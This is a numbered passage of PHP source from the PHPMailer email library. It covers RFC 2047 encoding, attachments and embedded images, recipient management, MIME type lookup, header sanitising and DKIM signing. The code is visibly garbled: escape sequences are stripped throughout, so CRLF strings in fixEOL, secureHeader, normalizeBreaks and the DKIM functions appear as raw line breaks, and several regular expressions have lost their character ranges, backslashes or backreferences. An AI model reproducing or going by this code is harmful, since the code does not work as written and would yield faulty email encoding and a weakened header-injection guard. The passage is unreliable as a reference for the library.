  2566. /** @noinspection PhpMissingBreakStatementInspection */
  2567. case 'comment':
  2568. // RFC 2047 section 5.2
  2569. $pattern = '\(\)"';
  2570. // intentional fall-through
  2571. // for this reason we build the $pattern without including delimiters and []
  2572. case 'text':
  2573. default:
  2574. // RFC 2047 section 5.1
  2575. // Replace every high ascii, control, =, ? and _ characters
  2576. $pattern = '- -=?_-' . $pattern;
  2577. break;
  2578. }
  2579. $matches = array();
  2580. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2581. // If the string contains an '=', make sure it's the first thing we replace
  2582. // so as to avoid double-encoding
  2583. $eqkey = array_search('=', $matches[0]);
  2584. if (false !== $eqkey) {
  2585. unset($matches[0][$eqkey]);
  2586. array_unshift($matches[0], '=');
  2587. }
  2588. foreach (array_unique($matches[0]) as $char) {
  2589. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2590. }
  2591. }
  2592. // Replace every spaces to _ (more readable than =20)
  2593. return str_replace(' ', '_', $encoded);
  2594. }
  2595. /**
  2596. * Add a string or binary attachment (non-filesystem).
  2597. * This method can be used to attach ascii or binary data,
  2598. * such as a BLOB record from a database.
  2599. * @param string $string String attachment data.
  2600. * @param string $filename Name of the attachment.
  2601. * @param string $encoding File encoding (see $Encoding).
  2602. * @param string $type File extension (MIME) type.
  2603. * @param string $disposition Disposition to use
  2604. * @return void
  2605. */
  2606. public function addStringAttachment($string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment') {
  2607. // If a MIME type is not specified, try to work it out from the file name
  2608. if ($type == '') {
  2609. $type = self::filenameToType($filename);
  2610. }
  2611. // Append to $attachment array
  2612. $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment
  2613. 6 => $disposition, 7 => 0);
  2614. }
  2615. /**
  2616. * Add an embedded (inline) attachment from a file.
  2617. * This can include images, sounds, and just about any other document type.
  2618. * These differ from 'regular' attachments in that they are intended to be
  2619. * displayed inline with the message, not just attached for download.
  2620. * This is used in HTML messages that embed the images
  2621. * the HTML refers to using the $cid value.
  2622. * @param string $path Path to the attachment.
  2623. * @param string $cid Content ID of the attachment; Use this to reference
  2624. * the content when using an embedded image in HTML.
  2625. * @param string $name Overrides the attachment name.
  2626. * @param string $encoding File encoding (see $Encoding).
  2627. * @param string $type File MIME type.
  2628. * @param string $disposition Disposition to use
  2629. * @return boolean True on successfully adding an attachment
  2630. */
  2631. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') {
  2632. if (!@is_file($path)) {
  2633. $this->setError($this->lang('file_access') . $path);
  2634. return false;
  2635. }
  2636. // If a MIME type is not specified, try to work it out from the file name
  2637. if ($type == '') {
  2638. $type = self::filenameToType($path);
  2639. }
  2640. $filename = basename($path);
  2641. if ($name == '') {
  2642. $name = $filename;
  2643. }
  2644. // Append to $attachment array
  2645. $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment
  2646. 6 => $disposition, 7 => $cid);
  2647. return true;
  2648. }
  2649. /**
  2650. * Add an embedded stringified attachment.
  2651. * This can include images, sounds, and just about any other document type.
  2652. * Be sure to set the $type to an image type for images:
  2653. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  2654. * @param string $string The attachment binary data.
  2655. * @param string $cid Content ID of the attachment; Use this to reference
  2656. * the content when using an embedded image in HTML.
  2657. * @param string $name
  2658. * @param string $encoding File encoding (see $Encoding).
  2659. * @param string $type MIME type.
  2660. * @param string $disposition Disposition to use
  2661. * @return boolean True on successfully adding an attachment
  2662. */
  2663. public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') {
  2664. // If a MIME type is not specified, try to work it out from the name
  2665. if ($type == '' and !empty($name)) {
  2666. $type = self::filenameToType($name);
  2667. }
  2668. // Append to $attachment array
  2669. $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment
  2670. 6 => $disposition, 7 => $cid);
  2671. return true;
  2672. }
  2673. /**
  2674. * Check if an inline attachment is present.
  2675. * @access public
  2676. * @return boolean
  2677. */
  2678. public function inlineImageExists() {
  2679. foreach ($this->attachment as $attachment) {
  2680. if ($attachment[6] == 'inline') {
  2681. return true;
  2682. }
  2683. }
  2684. return false;
  2685. }
  2686. /**
  2687. * Check if an attachment (non-inline) is present.
  2688. * @return boolean
  2689. */
  2690. public function attachmentExists() {
  2691. foreach ($this->attachment as $attachment) {
  2692. if ($attachment[6] == 'attachment') {
  2693. return true;
  2694. }
  2695. }
  2696. return false;
  2697. }
  2698. /**
  2699. * Check if this message has an alternative body set.
  2700. * @return boolean
  2701. */
  2702. public function alternativeExists() {
  2703. return !empty($this->AltBody);
  2704. }
  2705. /**
  2706. * Clear queued addresses of given kind.
  2707. * @access protected
  2708. * @param string $kind 'to', 'cc', or 'bcc'
  2709. * @return void
  2710. */
  2711. public function clearQueuedAddresses($kind) {
  2712. $RecipientsQueue = $this->RecipientsQueue;
  2713. foreach ($RecipientsQueue as $address => $params) {
  2714. if ($params[0] == $kind) {
  2715. unset($this->RecipientsQueue[$address]);
  2716. }
  2717. }
  2718. }
  2719. /**
  2720. * Clear all To recipients.
  2721. * @return void
  2722. */
  2723. public function clearAddresses() {
  2724. foreach ($this->to as $to) {
  2725. unset($this->all_recipients[strtolower($to[0]) ]);
  2726. }
  2727. $this->to = array();
  2728. $this->clearQueuedAddresses('to');
  2729. }
  2730. /**
  2731. * Clear all CC recipients.
  2732. * @return void
  2733. */
  2734. public function clearCCs() {
  2735. foreach ($this->cc as $cc) {
  2736. unset($this->all_recipients[strtolower($cc[0]) ]);
  2737. }
  2738. $this->cc = array();
  2739. $this->clearQueuedAddresses('cc');
  2740. }
  2741. /**
  2742. * Clear all BCC recipients.
  2743. * @return void
  2744. */
  2745. public function clearBCCs() {
  2746. foreach ($this->bcc as $bcc) {
  2747. unset($this->all_recipients[strtolower($bcc[0]) ]);
  2748. }
  2749. $this->bcc = array();
  2750. $this->clearQueuedAddresses('bcc');
  2751. }
  2752. /**
  2753. * Clear all ReplyTo recipients.
  2754. * @return void
  2755. */
  2756. public function clearReplyTos() {
  2757. $this->ReplyTo = array();
  2758. $this->ReplyToQueue = array();
  2759. }
  2760. /**
  2761. * Clear all recipient types.
  2762. * @return void
  2763. */
  2764. public function clearAllRecipients() {
  2765. $this->to = array();
  2766. $this->cc = array();
  2767. $this->bcc = array();
  2768. $this->all_recipients = array();
  2769. $this->RecipientsQueue = array();
  2770. }
  2771. /**
  2772. * Clear all filesystem, string, and binary attachments.
  2773. * @return void
  2774. */
  2775. public function clearAttachments() {
  2776. $this->attachment = array();
  2777. }
  2778. /**
  2779. * Clear all custom headers.
  2780. * @return void
  2781. */
  2782. public function clearCustomHeaders() {
  2783. $this->CustomHeader = array();
  2784. }
  2785. /**
  2786. * Add an error message to the error container.
  2787. * @access protected
  2788. * @param string $msg
  2789. * @return void
  2790. */
  2791. protected function setError($msg) {
  2792. $this->error_count++;
  2793. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2794. $lasterror = $this->smtp->getError();
  2795. if (!empty($lasterror['error'])) {
  2796. $msg.= $this->lang('smtp_error') . $lasterror['error'];
  2797. if (!empty($lasterror['detail'])) {
  2798. $msg.= ' Detail: ' . $lasterror['detail'];
  2799. }
  2800. if (!empty($lasterror['smtp_code'])) {
  2801. $msg.= ' SMTP code: ' . $lasterror['smtp_code'];
  2802. }
  2803. if (!empty($lasterror['smtp_code_ex'])) {
  2804. $msg.= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  2805. }
  2806. }
  2807. }
  2808. $this->ErrorInfo = $msg;
  2809. }
  2810. /**
  2811. * Return an RFC 822 formatted date.
  2812. * @access public
  2813. * @return string
  2814. * @static
  2815. */
  2816. public static function rfcDate() {
  2817. // Set the time zone to whatever the default is to avoid 500 errors
  2818. // Will default to UTC if it's not set properly in php.ini
  2819. date_default_timezone_set(@date_default_timezone_get());
  2820. return date('D, j M Y H:i:s O');
  2821. }
  2822. /**
  2823. * Get the server hostname.
  2824. * Returns 'localhost.localdomain' if unknown.
  2825. * @access protected
  2826. * @return string
  2827. */
  2828. protected function serverHostname() {
  2829. $result = 'localhost.localdomain';
  2830. if (!empty($this->Hostname)) {
  2831. $result = $this->Hostname;
  2832. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2833. $result = $_SERVER['SERVER_NAME'];
  2834. } elseif (function_exists('gethostname') && gethostname() !== false) {
  2835. $result = gethostname();
  2836. } elseif (php_uname('n') !== false) {
  2837. $result = php_uname('n');
  2838. }
  2839. return $result;
  2840. }
  2841. /**
  2842. * Get an error message in the current language.
  2843. * @access protected
  2844. * @param string $key
  2845. * @return string
  2846. */
  2847. protected function lang($key) {
  2848. if (count($this->language) < 1) {
  2849. $this->setLanguage('en'); // set the default language
  2850. }
  2851. if (array_key_exists($key, $this->language)) {
  2852. if ($key == 'smtp_connect_failed') {
  2853. //Include a link to troubleshooting docs on SMTP connection failure
  2854. //this is by far the biggest cause of support questions
  2855. //but it's usually not PHPMailer's fault.
  2856. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  2857. }
  2858. return $this->language[$key];
  2859. } else {
  2860. //Return the key as a fallback
  2861. return $key;
  2862. }
  2863. }
  2864. /**
  2865. * Check if an error occurred.
  2866. * @access public
  2867. * @return boolean True if an error did occur.
  2868. */
  2869. public function isError() {
  2870. return ($this->error_count > 0);
  2871. }
  2872. /**
  2873. * Ensure consistent line endings in a string.
  2874. * Changes every end of line from CRLF, CR or LF to $this->LE.
  2875. * @access public
  2876. * @param string $str String to fixEOL
  2877. * @return string
  2878. */
  2879. public function fixEOL($str) {
  2880. // Normalise to
  2881. $nstr = str_replace(array("
  2882. ", "
  2883. "), "
  2884. ", $str);
  2885. // Now convert LE as needed
  2886. if ($this->LE !== "
  2887. ") {
  2888. $nstr = str_replace("
  2889. ", $this->LE, $nstr);
  2890. }
  2891. return $nstr;
  2892. }
  2893. /**
  2894. * Add a custom header.
  2895. * $name value can be overloaded to contain
  2896. * both header name and value (name:value)
  2897. * @access public
  2898. * @param string $name Custom header name
  2899. * @param string $value Header value
  2900. * @return void
  2901. */
  2902. public function addCustomHeader($name, $value = null) {
  2903. if ($value === null) {
  2904. // Value passed in as name:value
  2905. $this->CustomHeader[] = explode(':', $name, 2);
  2906. } else {
  2907. $this->CustomHeader[] = array($name, $value);
  2908. }
  2909. }
  2910. /**
  2911. * Returns all custom headers.
  2912. * @return array
  2913. */
  2914. public function getCustomHeaders() {
  2915. return $this->CustomHeader;
  2916. }
  2917. /**
  2918. * Create a message from an HTML string.
  2919. * Automatically makes modifications for inline images and backgrounds
  2920. * and creates a plain-text version by converting the HTML.
  2921. * Overwrites any existing values in $this->Body and $this->AltBody
  2922. * @access public
  2923. * @param string $message HTML message string
  2924. * @param string $basedir baseline directory for path
  2925. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  2926. * or your own custom converter @see PHPMailer::html2text()
  2927. * @return string $message
  2928. */
  2929. public function msgHTML($message, $basedir = '', $advanced = false) {
  2930. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2931. if (array_key_exists(2, $images)) {
  2932. foreach ($images[2] as $imgindex => $url) {
  2933. // Convert data URIs into embedded images
  2934. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2935. $data = substr($url, strpos($url, ','));
  2936. if ($match[2]) {
  2937. $data = base64_decode($data);
  2938. } else {
  2939. $data = rawurldecode($data);
  2940. }
  2941. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2942. if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  2943. $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
  2944. }
  2945. } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  2946. // Do not change urls for absolute images (thanks to corvuscorax)
  2947. // Do not change urls that are already inline images
  2948. $filename = basename($url);
  2949. $directory = dirname($url);
  2950. if ($directory == '.') {
  2951. $directory = '';
  2952. }
  2953. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2954. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2955. $basedir.= '/';
  2956. }
  2957. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2958. $directory.= '/';
  2959. }
  2960. if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
  2961. $message = preg_replace('/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
  2962. }
  2963. }
  2964. }
  2965. }
  2966. $this->isHTML(true);
  2967. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2968. $this->Body = $this->normalizeBreaks($message);
  2969. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2970. if (empty($this->AltBody)) {
  2971. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF;
  2972. }
  2973. return $this->Body;
  2974. }
  2975. /**
  2976. * Convert an HTML string into plain text.
  2977. * This is used by msgHTML().
  2978. * Note - older versions of this function used a bundled advanced converter
  2979. * which was been removed for license reasons in #232
  2980. * Example usage:
  2981. * <code>
  2982. * // Use default conversion
  2983. * $plain = $mail->html2text($html);
  2984. * // Use your own custom converter
  2985. * $plain = $mail->html2text($html, function($html) {
  2986. * $converter = new MyHtml2text($html);
  2987. * return $converter->get_text();
  2988. * });
  2989. * </code>
  2990. * @param string $html The HTML text to convert
  2991. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  2992. * or provide your own callable for custom conversion.
  2993. * @return string
  2994. */
  2995. public function html2text($html, $advanced = false) {
  2996. if (is_callable($advanced)) {
  2997. return call_user_func($advanced, $html);
  2998. }
  2999. return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))), ENT_QUOTES, $this->CharSet);
  3000. }
  3001. /**
  3002. * Get the MIME type for a file extension.
  3003. * @param string $ext File extension
  3004. * @access public
  3005. * @return string MIME type of file.
  3006. * @static
  3007. */
  3008. public static function _mime_types($ext = '') {
  3009. $mimes = array('xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie');
  3010. if (array_key_exists(strtolower($ext), $mimes)) {
  3011. return $mimes[strtolower($ext) ];
  3012. }
  3013. return 'application/octet-stream';
  3014. }
  3015. /**
  3016. * Map a file name to a MIME type.
  3017. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3018. * @param string $filename A file name or full path, does not need to exist as a file
  3019. * @return string
  3020. * @static
  3021. */
  3022. public static function filenameToType($filename) {
  3023. // In case the path is a URL, strip any query string before getting extension
  3024. $qpos = strpos($filename, '?');
  3025. if (false !== $qpos) {
  3026. $filename = substr($filename, 0, $qpos);
  3027. }
  3028. $pathinfo = self::mb_pathinfo($filename);
  3029. return self::_mime_types($pathinfo['extension']);
  3030. }
  3031. /**
  3032. * Multi-byte-safe pathinfo replacement.
  3033. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3034. * Works similarly to the one in PHP >= 5.2.0
  3035. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3036. * @param string $path A filename or path, does not need to exist as a file
  3037. * @param integer|string $options Either a PATHINFO_* constant,
  3038. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3039. * @return string|array
  3040. * @static
  3041. */
  3042. public static function mb_pathinfo($path, $options = null) {
  3043. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3044. $pathinfo = array();
  3045. if (preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $pathinfo)) {
  3046. if (array_key_exists(1, $pathinfo)) {
  3047. $ret['dirname'] = $pathinfo[1];
  3048. }
  3049. if (array_key_exists(2, $pathinfo)) {
  3050. $ret['basename'] = $pathinfo[2];
  3051. }
  3052. if (array_key_exists(5, $pathinfo)) {
  3053. $ret['extension'] = $pathinfo[5];
  3054. }
  3055. if (array_key_exists(3, $pathinfo)) {
  3056. $ret['filename'] = $pathinfo[3];
  3057. }
  3058. }
  3059. switch ($options) {
  3060. case PATHINFO_DIRNAME:
  3061. case 'dirname':
  3062. return $ret['dirname'];
  3063. case PATHINFO_BASENAME:
  3064. case 'basename':
  3065. return $ret['basename'];
  3066. case PATHINFO_EXTENSION:
  3067. case 'extension':
  3068. return $ret['extension'];
  3069. case PATHINFO_FILENAME:
  3070. case 'filename':
  3071. return $ret['filename'];
  3072. default:
  3073. return $ret;
  3074. }
  3075. }
  3076. /**
  3077. * Set or reset instance properties.
  3078. * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3079. * harder to debug than setting properties directly.
  3080. * Usage Example:
  3081. * `$mail->set('SMTPSecure', 'tls');`
  3082. * is the same as:
  3083. * `$mail->SMTPSecure = 'tls';`
  3084. * @access public
  3085. * @param string $name The property name to set
  3086. * @param mixed $value The value to set the property to
  3087. * @return boolean
  3088. * @TODO Should this not be using the __set() magic function?
  3089. */
  3090. public function set($name, $value = '') {
  3091. if (property_exists($this, $name)) {
  3092. $this->$name = $value;
  3093. return true;
  3094. } else {
  3095. $this->setError($this->lang('variable_set') . $name);
  3096. return false;
  3097. }
  3098. }
  3099. /**
  3100. * Strip newlines to prevent header injection.
  3101. * @access public
  3102. * @param string $str
  3103. * @return string
  3104. */
  3105. public function secureHeader($str) {
  3106. return trim(str_replace(array("
  3107. ", "
  3108. "), '', $str));
  3109. }
  3110. /**
  3111. * Normalize line breaks in a string.
  3112. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3113. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3114. * @param string $text
  3115. * @param string $breaktype What kind of line break to use, defaults to CRLF
  3116. * @return string
  3117. * @access public
  3118. * @static
  3119. */
  3120. public static function normalizeBreaks($text, $breaktype = "
  3121. ") {
  3122. return preg_replace('/(
  3123. |
  3124. |
  3125. )/ms', $breaktype, $text);
  3126. }
  3127. /**
  3128. * Set the public and private key files and password for S/MIME signing.
  3129. * @access public
  3130. * @param string $cert_filename
  3131. * @param string $key_filename
  3132. * @param string $key_pass Password for private key
  3133. * @param string $extracerts_filename Optional path to chain certificate
  3134. */
  3135. public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') {
  3136. $this->sign_cert_file = $cert_filename;
  3137. $this->sign_key_file = $key_filename;
  3138. $this->sign_key_pass = $key_pass;
  3139. $this->sign_extracerts_file = $extracerts_filename;
  3140. }
  3141. /**
  3142. * Quoted-Printable-encode a DKIM header.
  3143. * @access public
  3144. * @param string $txt
  3145. * @return string
  3146. */
  3147. public function DKIM_QP($txt) {
  3148. $line = '';
  3149. for ($i = 0;$i < strlen($txt);$i++) {
  3150. $ord = ord($txt[$i]);
  3151. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3152. $line.= $txt[$i];
  3153. } else {
  3154. $line.= '=' . sprintf('%02X', $ord);
  3155. }
  3156. }
  3157. return $line;
  3158. }
  3159. /**
  3160. * Generate a DKIM signature.
  3161. * @access public
  3162. * @param string $signHeader
  3163. * @throws phpmailerException
  3164. * @return string
  3165. */
  3166. public function DKIM_Sign($signHeader) {
  3167. if (!defined('PKCS7_TEXT')) {
  3168. if ($this->exceptions) {
  3169. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3170. }
  3171. return '';
  3172. }
  3173. $privKeyStr = file_get_contents($this->DKIM_private);
  3174. if ($this->DKIM_passphrase != '') {
  3175. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3176. } else {
  3177. $privKey = $privKeyStr;
  3178. }
  3179. if (openssl_sign($signHeader, $signature, $privKey)) {
  3180. return base64_encode($signature);
  3181. }
  3182. return '';
  3183. }
  3184. /**
  3185. * Generate a DKIM canonicalization header.
  3186. * @access public
  3187. * @param string $signHeader Header
  3188. * @return string
  3189. */
  3190. public function DKIM_HeaderC($signHeader) {
  3191. $signHeader = preg_replace('/
  3192. \s+/', ' ', $signHeader);
  3193. $lines = explode("
  3194. ", $signHeader);
  3195. foreach ($lines as $key => $line) {
  3196. list($heading, $value) = explode(':', $line, 2);
  3197. $heading = strtolower($heading);
  3198. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3199. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3200. }
  3201. $signHeader = implode("
  3202. ", $lines);
  3203. return $signHeader;
  3204. }
  3205. /**
  3206. * Generate a DKIM canonicalization body.
  3207. * @access public
  3208. * @param string $body Message Body
  3209. * @return string
  3210. */
  3211. public function DKIM_BodyC($body) {
  3212. if ($body == '') {
  3213. return "
  3214. ";
  3215. }
  3216. // stabilize line endings
  3217. $body = str_replace("
  3218. ", "
  3219. ", $body);
  3220. $body = str_replace("
  3221. ", "
  3222. ", $body);
  3223. // END stabilize line endings
  3224. while (substr($body, strlen($body) - 4, 4) == "
  3225. ") {
  3226. $body = substr($body, 0, strlen($body) - 2);
  3227. }
  3228. return $body;
  3229. }
  3230. /**
  3231. * Create the DKIM header and body in a new message header.
  3232. * @access public
  3233. * @param string $headers_line Header lines
  3234. * @param string $subject Subject
  3235. * @param string $body Body
  3236. * @return string
  3237. */
  3238. public function DKIM_Add($headers_line, $subject, $body) {
  3239. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3240. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3241. $DKIMquery = 'dns/txt'; // Query method
  3242. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3243. $subject_header = "Subject: $subject";
  3244. $headers = explode($this->LE, $headers_line);
  3245. $from_header = '';
  3246. $to_header = '';
  3247. $current = '';
  3248. foreach ($headers as $header) {
  3249. if (strpos($header, 'From:') === 0) {
  3250. $from_header = $header;
  3251. $current = 'from_header';
  3252. } elseif (strpos($header, 'To:') === 0) {
  3253. $to_header = $header;
  3254. $current = 'to_header';
  3255. } else {
  3256. if (!empty($$current) && strpos($header, ' =?') === 0) {
  3257. $$current.= $header;
  3258. } else {
  3259. $current = '';
  3260. }
  3261. }
  3262. }
  3263. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3264. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3265. $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header)); // Copied header fields (dkim-quoted-printable)
  3266. $body = $this->DKIM_BodyC($body);
  3267. $DKIMlen = strlen($body); // Length of body
  3268. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3269. if ('' == $this->DKIM_identity) {
  3270. $ident = '';
  3271. } else {
  3272. $ident = ' i=' . $this->DKIM_identity . ';';
  3273. }
  3274. $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->DKIM_selector . ";" . " t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";" . " h=From:To:Subject;" . " d=" . $this->DKIM_domain . ';' . $ident . "" . " z=$from" . " |$to" . " |$subject;" . " bh=" . $DKIMb64 . ";" . " b=";
  3275. $toSign = $this->DKIM_HeaderC($from_header . "" . $to_header . "" . $subject_header . "" . $dkimhdrs);
  3276. $signed = $this->DKIM_Sign($toSign);
  3277. return $dkimhdrs . $signed . "
  3278. ";
  3279. }
  3280. /**
  3281. * Detect if a string contains a line longer than the maximum line length allowed.
  3282. * @param string $str
  3283. * @return boolean
  3284. * @static
  3285. */
  3286. public static function hasLineLongerThanMax($str) {
  3287. //+2 to include CRLF line break for a 1000 total
  3288. return (boolean)preg_match('/^(.{' . (self::MAX_LINE_LENGTH + 2) . ',})/m', $str);
  3289. }
  3290. /**
  3291. * Allows for public read access to 'to' property.
  3292. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3293. * @access public
  3294. * @return array
  3295. */
  3296. public function getToAddresses() {
  3297. return $this->to;
  3298. }
  3299. /**
  3300. * Allows for public read access to 'cc' property.
  3301. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3302. * @access public
  3303. * @return array
  3304. */
  3305. public function getCcAddresses() {
  3306. return $this->cc;
  3307. }
  3308. /**
  3309. * Allows for public read access to 'bcc' property.
  3310. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3311. * @access public
  3312. * @return array
  3313. */
  3314. public function getBccAddresses() {
  3315. return $this->bcc;
  3316. }
  3317. /**
  3318. * Allows for public read access to 'ReplyTo' property.
  3319. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3320. * @access public
  3321. * @return array
  3322. */
  3323. public function getReplyToAddresses() {
  3324. return $this->ReplyTo;
  3325. }
  3326. /**
  3327. * Allows for public read access to 'all_recipients' property.
  3328. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3329. * @access public
  3330. * @return array
  3331. */
  3332. public function getAllRecipientAddresses() {
  3333. return $this->all_recipients;
  3334. }
  3335. /**
  3336. * Perform a callback.
  3337. * @param boolean $isSent
  3338. * @param array $to
  3339. * @param array $cc
  3340. * @param array $bcc
  3341. * @param string $subject
  3342. * @param string $body
  3343. * @param string $from
  3344. */
  3345. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) {
  3346. if (!empty($this->action_function) && is_callable($this->action_function)) {
  3347. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3348. call_user_func_array($this->action_function, $params);
  3349. }
  3350. }
  3351. }
  3352. /**
  3353. * PHPMailer exception handler
  3354. * @package PHPMailer
  3355. */
  3356. class phpmailerException extends Exception {
  3357. /**
